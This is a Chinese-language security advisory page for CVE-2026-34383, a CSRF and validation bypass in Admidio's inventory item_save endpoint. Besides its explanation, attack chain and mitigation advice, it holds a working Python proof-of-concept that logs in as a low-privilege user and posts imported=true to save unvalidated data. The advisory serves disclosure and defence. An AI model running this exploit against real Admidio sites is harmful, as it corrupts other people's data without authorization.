IPBUF安全漏洞报告
English
CVE-2026-34383 CVSS 4.3 中危

CVE-2026-34383: Admidio CSRF及验证绕过漏洞

披露日期: 2026-03-31

漏洞信息

漏洞编号
CVE-2026-34383
漏洞类型
CSRF绕过 / 验证绕过
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Admidio

相关标签

CSRF绕过验证绕过Admidio逻辑漏洞CVE-2026-34383

漏洞概述

Admidio是一款开源的用户管理解决方案。在5.0.8版本之前,其库存模块的item_save端点存在严重的安全缺陷。由于未正确处理用户输入的POST参数imported,当该参数被设置为true时,系统会完全绕过CSRF令牌验证及服务器端的FormPresenter表单验证。这允许经过身份验证的低权限用户构造恶意请求,直接保存未经验证的任意库存项目数据,从而破坏系统数据完整性。

技术细节

该漏洞的核心在于Admidio库存模块中`item_save`端点的逻辑缺陷。通常情况下,该端点在处理数据保存请求时,会检查CSRF令牌以防止跨站请求伪造,并利用`FormPresenter`组件进行严格的服务器端字段值验证,确保数据符合业务规则。然而,代码逻辑中存在一个特殊分支,当检测到POST参数`imported`存在且值为`true`时,系统会误认为这是一个通过内部可信渠道导入的数据操作。因此,程序直接跳过了CSRF检查步骤,同时也绕过了`FormPresenter`的验证逻辑,直接将用户提交的数据写入数据库。攻击者只需拥有合法的认证会话(低权限用户即可),即可利用此逻辑漏洞,构造包含恶意数据的POST请求发送至`item_save`接口,从而写入不符合业务规范的库存记录,利用了系统对导入参数的信任缺失。

攻击链分析

STEP 1
侦察
识别目标是否运行Admidio系统,且版本低于5.0.8。
STEP 2
获取访问权限
攻击者注册或通过其他方式获取一个低权限的合法账户。
STEP 3
漏洞利用
攻击者使用该账户登录,并构造包含imported=true参数的恶意POST请求发送至item_save端点。
STEP 4
达成效果
系统绕过CSRF和字段验证,保存攻击者提交的任意数据,导致数据完整性受损。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL configuration target_url = "http://example.com/admidio/adm_program/modules/inventory/item_save.php" login_url = "http://example.com/admidio/adm_program/system/login.php" # Attacker's credentials (low privilege) credentials = { "usr_login": "attacker", "usr_password": "password123" } session = requests.Session() # Step 1: Authenticate to get a valid session cookie # The vulnerability requires an authenticated user (PR:L) login_resp = session.post(login_url, data=credentials) if login_resp.status_code != 200: print("Login failed") exit(1) # Step 2: Exploit the vulnerability by setting 'imported' to true # This bypasses CSRF token check and server-side validation payload = { "item_name": "Malicious Item", "item_quantity": 99999, # Invalid value that would normally be rejected "imported": "true" # The key parameter to trigger the bypass } exploit_resp = session.post(target_url, data=payload) # Check if the arbitrary data was saved if exploit_resp.status_code == 200 and "success" in exploit_resp.text: print("[+] Exploit successful! Arbitrary data saved bypassing validation.") else: print("[-] Exploit failed.")

影响范围

Admidio < 5.0.8

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用库存模块或限制对item_save端点的网络访问,仅允许可信IP地址调用。同时,应审计现有数据库中的异常数据,检查是否已被利用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表